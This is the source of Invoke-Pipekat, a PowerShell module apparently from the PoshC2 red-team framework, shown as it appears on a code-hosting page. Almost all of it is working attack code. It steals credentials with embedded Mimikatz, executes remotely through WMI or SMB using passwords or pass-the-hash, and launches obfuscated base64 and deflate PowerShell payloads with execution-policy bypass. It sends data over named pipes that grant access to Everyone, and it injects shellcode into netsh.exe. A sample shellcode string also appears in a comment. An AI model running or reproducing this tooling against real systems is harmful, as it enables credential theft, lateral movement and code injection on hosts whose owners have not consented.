PoshC2_Python/Modules/Invoke-Pipekat.ps1

607 lines
2.1 MiB
PowerShell
Raw Normal View History

function Invoke-Pipekat {
<#
.SYNOPSIS
The Invoke-Pipekat module uses Named Pipes and WMI to extract credentials using the famous @gentilkiwi tool and Invoke-WMIExec from @kevin_robertson
.DESCRIPTION
When you are running as a low-level user but have obtained highly privileged credntials and you want to extract credentials from memory or use any of the features of the famous tool from @gentilkiwi without touching disk or loading from an external source. This uses named pipes to communicate between process and then uses WMI to elevate up on the localhost using the supplied credentials. Default timeout 30 seconds for the clinet pipe and 600 seconds for the server pipe.
.EXAMPLE
Invoke-Pipekat -Username Admin -Password Password1 -Domain .
.EXAMPLE
Invoke-Pipekat -Target 10.0.0.100 -Username Admin -Password Password1 -Domain .
.EXAMPLE
Invoke-Pipekat -Username Admin -Password Password1 -Domain . -Command "lsadump::cache" -PSexec $True
.EXAMPLE
Invoke-Pipekat -Username Admin -Hash 4E3254E32556AE56AE -Domain . -Command "lsadump::cache" -PSexec $True
.EXAMPLE
Invoke-Pipekat -Target 10.0.0.1 -Username Admin -Hash 4E3254E32556AE56AE -Domain . -Shellcode ZnVuY3Rpb24gSW52b2tlL -Timeout 15 -TimeoutServer 900
#>
param($Command, $Username, $Password, $Domain, $Hash, $Target, $Shellcode, [bool]$PSexec = $False, $Timeout, $TimeoutServer)
if(!$TimeoutServer) {$TimeoutServer = 600}
if(!$TimeoutMS) {$TimeoutMS = 300000} else {$TimeoutMS = $Timeout * 1000}
if(!$Username) {echo "No username supplied...."; return}
if(!$Domain) {echo "No domain supplied...."; return}
if((!$Password) -and (!$Hash)) {echo "No password/hash supplied...."; return}
if(($Password) -and ($Hash)) {echo "Cannot use both a hash and a password...."; return}
add-Type -assembly "System.Core"
$pipeName = Random-Pipe 10
echo "`n[+] Pipe Created for Input: $pipeName"
$pipeNameMimi = Random-Pipe 10
echo "[+] Pipe Created for Output: $pipeNameMimi"
$pipekey = Create-AesKey
echo "[+] Encryption key used to secure the data: $pipekey"
# Author: @mattif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NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1hZ2ljVHlwZSAtVmFsdWUgJE1hZ2ljVHlwZQ0KDQoJCSNFbnVtIFN1YlN5c3RlbVR5cGUNCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lRW51bSgnU3ViU3lzdGVtVHlwZScsICdQdWJsaWMnLCBbVUludDE2XSkNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9VTktOT1dOJywgW1VJbnQxNl0gMCkgfCBPdXQtTnVsbA0KCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX05BVElWRScsIFtVSW50MTZdIDEpIHwgT3V0LU51bGwNCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVy
if (!$Command) {
$Command = "Invoke-MK"
} else {
$Command = "Invoke-MK -Command $Command"
}
if (!$Shellcode) {
if (!$Target -or ($Target -eq "localhost")) {
$Target = "localhost"
$postcode = @"
`$key = "$pipekey"
function Create-AesManagedObject
{
param
(
[Object]
`$key,
[Object]
`$IV
)
`$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
`$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
`$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
`$aesManaged.BlockSize = 128
`$aesManaged.KeySize = 256
if (`$IV)
{
if (`$IV.getType().Name -eq 'String')
{`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)}
else
{`$aesManaged.IV = `$IV}
}
if (`$key)
{
if (`$key.getType().Name -eq 'String')
{`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)}
else
{`$aesManaged.Key = `$key}
}
`$aesManaged
}
function Encrypt-String
{
param
(
[Object]
`$key,
[Object]
`$unencryptedString
)
`$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString)
`$aesManaged = Create-AesManagedObject `$key
`$encryptor = `$aesManaged.CreateEncryptor()
`$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length)
[byte[]] `$fullData = `$aesManaged.IV + `$encryptedData
[System.Convert]::ToBase64String(`$fullData)
}
`$Output = $Command
`$Payload = Encrypt-String -unencryptedString `$Output -Key `$key
`$pipename = "$pipeNameMimi"
`$scriptblock =
{
param (`$PipeName,`$Payload)
add-Type -assembly "System.Core"
`$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
`$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
`$PipeSecurity.AddAccessRule(`$AccessRule)
`$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream(`$PipeName,"InOut",100, "Byte", "None", 1024, 1024, `$PipeSecurity)
`$pipe.WaitForConnection();
`$pipeWriter = new-object System.IO.StreamWriter(`$pipe)
`$pipeWriter.AutoFlush = `$true
`$pipeWriter.WriteLine(`$Payload);
`$pipe.Dispose();
}
add-Type -assembly "System.Core"
`$t = start-job -ScriptBlock `$scriptblock -ArgumentList @(`$pipeName,`$Payload)
`$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pipeName);
Start-Sleep $TimeoutServer
`$t.StopJob()
"@
$mkun = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mk))
$mkun += $postcode
$Bytes = [System.Text.Encoding]::UTF8.GetBytes($mkun)
$EncodedData = [Convert]::ToBase64String($Bytes)
$scriptblock =
{
param ($PipeName,$Payload)
add-Type -assembly "System.Core"
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
$PipeSecurity.AddAccessRule($AccessRule)
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
$pipe.WaitForConnection();
$pipenReader = new-object System.IO.StreamReader($pipe)
$pipeWriter = new-object System.IO.StreamWriter($pipe)
$pipeWriter.AutoFlush = $true
$pipeWriter.WriteLine($Payload);
$pipeReader.Dispose();
$pipe.Dispose();
}
add-Type -assembly "System.Core"
Start-Job -ScriptBlock $scriptblock -ArgumentList @($pipeName,$EncodedData)|Out-Null
$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", $pipeName);
$pspayloadnamedpipe = "add-Type -assembly `"System.Core`"; `$pi = new-object System.IO.Pipes.NamedPipeClientStream('$pipeName'); `$pi.Connect($TimeoutMS); `$pr = new-object System.IO.StreamReader(`$pi); `$t = `$pr.ReadLine(); `$i=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$t)); iex `$i; "
$bytes = [System.Text.Encoding]::Unicode.GetBytes($pspayloadnamedpipe)
$payloadraw = 'cmd /c powershell -v 2 -e '+[Convert]::ToBase64String($bytes)
if ($PSexec) {
$smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec))
IEX $smbexecw
echo "`n[+] Running Invoke-SMBExec with the supplied credentials"
if ($hash){
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`""
} else {
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`""
}
$success = IEX $smbcmd
$success
} else {
$wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec))
IEX $wmiexecw
echo "`n[+] Running Invoke-WMIExec with the supplied credentials"
if ($hash){
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`""
} else {
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`""
}
$success = IEX $wmicmd
$success
}
if ($success -like "*Command executed*"){
echo "`n[+] Waiting for output from named pipe.......`n"
try {
add-Type -assembly "System.Core";
$pi = new-object System.IO.Pipes.NamedPipeClientStream("$pipeNameMimi");
$pi.Connect($TimeoutMS); $pr = new-object System.IO.StreamReader($pi);
$wp = $pr.ReadLine();
$pi.Dispose(); $pr.Dispose();
$pl = Decrypt-String -key $pipekey -encryptedStringWithIV $wp
$pl
} catch {
echo "Failed conecting to named pipe: $pipeNameMimi"
}
} else {echo "Failed to run WMI/SMBEXEC"}
} else {
if($Hash) {echo "Cannot use a hash when executing shellcode remotely as it rquired the password to create a pipe session...."; return}
$pipekat = @"
`$pn = "$pipeName"
`$pm = "$pipeNameMimi"
`$sb =
{
param (`$pn, `$pm)
add-Type -assembly "System.Core"
`$ps = New-Object System.IO.Pipes.PipeSecurity
`$ar = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
`$ps.AddAccessRule(`$ar)
`$p = New-Object System.IO.Pipes.NamedPipeServerStream(`$pn,"InOut",100, "Byte", "None", 1024, 1024, `$ps)
`$p.WaitForConnection();
`$pr = new-object System.IO.StreamReader(`$p)
`$o = `$pr.ReadLine()
`$p.Dispose();
`$pr.Dispose();
`$s = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$o)) | out-string
`$o = IEX `$s |out-string
`$ps = New-Object System.IO.Pipes.PipeSecurity
`$ar = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
`$ps.AddAccessRule(`$ar)
`$p = New-Object System.IO.Pipes.NamedPipeServerStream(`$pm,"InOut",100, "Byte", "None", 1024, 1024, `$ps)
`$p.WaitForConnection();
`$pw = new-object System.IO.StreamWriter(`$p)
`$pw.AutoFlush = `$true
`$pw.WriteLine(`$o);
`$p.Dispose();
}
add-Type -assembly "System.Core"
`$t = start-job -ScriptBlock `$sb -ArgumentList @(`$pn, `$pm)
`$pl = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pn);
`$pp = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pm);
Start-Sleep $TimeoutServer
`$t.StopJob()
"@
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($pipekat)
$payloadraw = 'cmd /c powershell -v 2 -e '+[Convert]::ToBase64String($bytes)
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($pipekat)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
$payload = "cmd /c powershell -exec bypass -c `"`"$NewScript`"`""
if ($PSexec) {
$smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec))
IEX $smbexecw
echo "`n[+] Running Invoke-SMBExec with the supplied credentials"
if ($hash){
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payload`""
} else {
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payload`""
}
$success = IEX $smbcmd
$success
} else {
$wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec))
IEX $wmiexecw
echo "`n[+] Running Invoke-WMIExec with the supplied credentials"
if ($hash){
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`""
} else {
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`""
}
$success = IEX $wmicmd
$success
}
if ($success -like "*Command executed*"){
$postmimi = @"
`$key = "$pipekey"
function Create-AesManagedObject
{
param
(
[Object]
`$key,
[Object]
`$IV
)
`$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
`$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
`$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
`$aesManaged.BlockSize = 128
`$aesManaged.KeySize = 256
if (`$IV)
{
if (`$IV.getType().Name -eq 'String')
{`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)}
else
{`$aesManaged.IV = `$IV}
}
if (`$key)
{
if (`$key.getType().Name -eq 'String')
{`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)}
else
{`$aesManaged.Key = `$key}
}
`$aesManaged
}
function Encrypt-String
{
param
(
[Object]
`$key,
[Object]
`$unencryptedString
)
`$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString)
`$aesManaged = Create-AesManagedObject `$key
`$encryptor = `$aesManaged.CreateEncryptor()
`$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length)
[byte[]] `$fullData = `$aesManaged.IV + `$encryptedData
[System.Convert]::ToBase64String(`$fullData)
}
`$Output = $Command
Encrypt-String -unencryptedString `$Output -Key `$key
"@
$mkun = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mk))
$mkun += $postmimi
$Bytes = [System.Text.Encoding]::UTF8.GetBytes($mkun)
$ed = [Convert]::ToBase64String($Bytes)
if ($domain -eq ".") {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$username", "$Password")
} else {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain\$username", "$Password")
}
try {
add-Type -assembly "System.Core"
$p = new-object System.IO.Pipes.NamedPipeClientStream($target, $pipeName);
$w = new-object System.IO.StreamWriter($p)
$p.Connect($TimeoutMS);
$w.WriteLine($ed);
$w.Dispose();
$p.Dispose();
} catch {
echo "Failed conecting to named pipe: $target : $pipeName"
}
try {
add-Type -assembly "System.Core";
$p = new-object System.IO.Pipes.NamedPipeClientStream($target, $pipeNameMimi);
$p.Connect($TimeoutMS);
$r = new-object System.IO.StreamReader($p);
$rr=$r.ReadLine();
$p.Dispose();
$r.Dispose();
$pl = Decrypt-String -key $pipekey -encryptedStringWithIV $rr
$pl
} catch {
echo "Failed conecting to named pipe: $target : $pipeNameMimi"
}
} else {echo "Failed to run WMI/SMBEXEC"}
}
} else {
if (!$Target) {
$Target = "localhost"
}
if($Hash) {echo "Cannot use a hash when executing shellcode remotely as it requires the password to create a pipe session...."; return}
echo "[+] Shellcode being executed"
$pipekat = @"
`$pn = "$pipeName"
`$sb =
{
param (`$pn)
add-Type -assembly "System.Core"
`$ps = New-Object System.IO.Pipes.PipeSecurity
`$ar = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
`$ps.AddAccessRule(`$ar)
`$p = New-Object System.IO.Pipes.NamedPipeServerStream(`$pn,"InOut",100, "Byte", "None", 1024, 1024, `$ps)
`$p.WaitForConnection();
`$pr = new-object System.IO.StreamReader(`$p)
`$o = `$pr.ReadLine()
`$p.Dispose();
`$pr.Dispose();
`$s = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$o)) | out-string
IEX `$s |out-string
}
add-Type -assembly "System.Core"
`$t = start-job -ScriptBlock `$sb -ArgumentList @(`$pn)
`$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pn)
Start-Sleep $TimeoutServer
`$t.StopJob()
"@
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($pipekat)
$payloadraw = 'cmd /c powershell -v 2 -e '+[Convert]::ToBase64String($bytes)
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($pipekat)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
$payload = "cmd /c powershell -exec bypass -c `"`"$NewScript`"`""
if ($PSexec) {
$smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec))
IEX $smbexecw
echo "`n[+] Running Invoke-SMBExec with the supplied credentials"
if ($hash){
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payload`""
} else {
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payload`""
}
$success = IEX $smbcmd
$success
} else {
$wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec))
IEX $wmiexecw
echo "`n[+] Running Invoke-WMIExec with the supplied credentials"
if ($hash){
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`""
} else {
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`""
}
$success = IEX $wmicmd
$success
}
# example shellcode that runs netsh.exe
# $Shellcode = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1W5ldHNoLmV4ZQA="
if ($success -like "*Command executed*"){
$sc32 = @"
`$sc32 = "$Shellcode"
`$pst = New-Object System.Diagnostics.ProcessStartInfo
`$pst.WindowStyle = 'Hidden'
`$pst.UseShellExecute = `$False
`$pst.CreateNoWindow = `$True
if (`$env:PROCESSOR_ARCHITECTURE -eq "x86"){
`$t2 = [Convert]::FromBase64String(`$sc32)
`$pst.FileName = "C:\Windows\System32\netsh.exe"
} else {
`$pst.FileName = "C:\Windows\Syswow64\netsh.exe"
`$t2 = [Convert]::FromBase64String(`$sc32)
}
`$Process = [System.Diagnostics.Process]::Start(`$pst)
`$Process.Id
Invoke-Fsd -ProcessID `$Process.Id -Shellcode `$t2
"@
$mkun = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($invokeshellcode))
$mkun += $sc32
$Bytes = [System.Text.Encoding]::UTF8.GetBytes($mkun)
$ed = [Convert]::ToBase64String($Bytes)
if ($domain -eq ".") {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$username", "$Password")
} else {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain\$username", "$Password")
}
try {
add-Type -assembly "System.Core"
$p = new-object System.IO.Pipes.NamedPipeClientStream($target, $pipeName);
$w = new-object System.IO.StreamWriter($p)
$p.Connect($TimeoutMS);
$w.WriteLine($ed);
$w.Dispose();
$p.Dispose();
} catch {
echo "Failed conecting to named pipe: $target : $pipeName"
}
} else {echo "Failed to run WMI/SMBEXEC"}
}
}
function Random-Pipe
{
param (
[int]$Length
)
$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray()
$result = ''
for ($x = 0; $x -lt $Length; $x++)
{$result += $set | Get-Random}
return $result
}
# creates a randon AES managed object
function Create-AesManagedObject
{
param
(
[Object]
$key,
[Object]
$IV
)
$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq 'String')
{$aesManaged.IV = [System.Convert]::FromBase64String($IV)}
else
{$aesManaged.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq 'String')
{$aesManaged.Key = [System.Convert]::FromBase64String($key)}
else
{$aesManaged.Key = $key}
}
$aesManaged
}
# creates a randon AES symetric encryption key
function Create-AesKey()
{
$aesManaged = Create-AesManagedObject
$aesManaged.GenerateKey()
[System.Convert]::ToBase64String($aesManaged.Key)
}
# encryption utility using Rijndael encryption, an AES equivelant, returns encrypted base64 block
function Encrypt-String
{
param
(
[Object]
$key,
[Object]
$unencryptedString
)
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[byte[]] $fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
# decryption utility using Rijndael encryption, an AES equivelant, returns unencrypted UTF8 data
function Decrypt-String
{
param
(
[Object]
$key,
[Object]
$encryptedStringWithIV
)
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor()
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}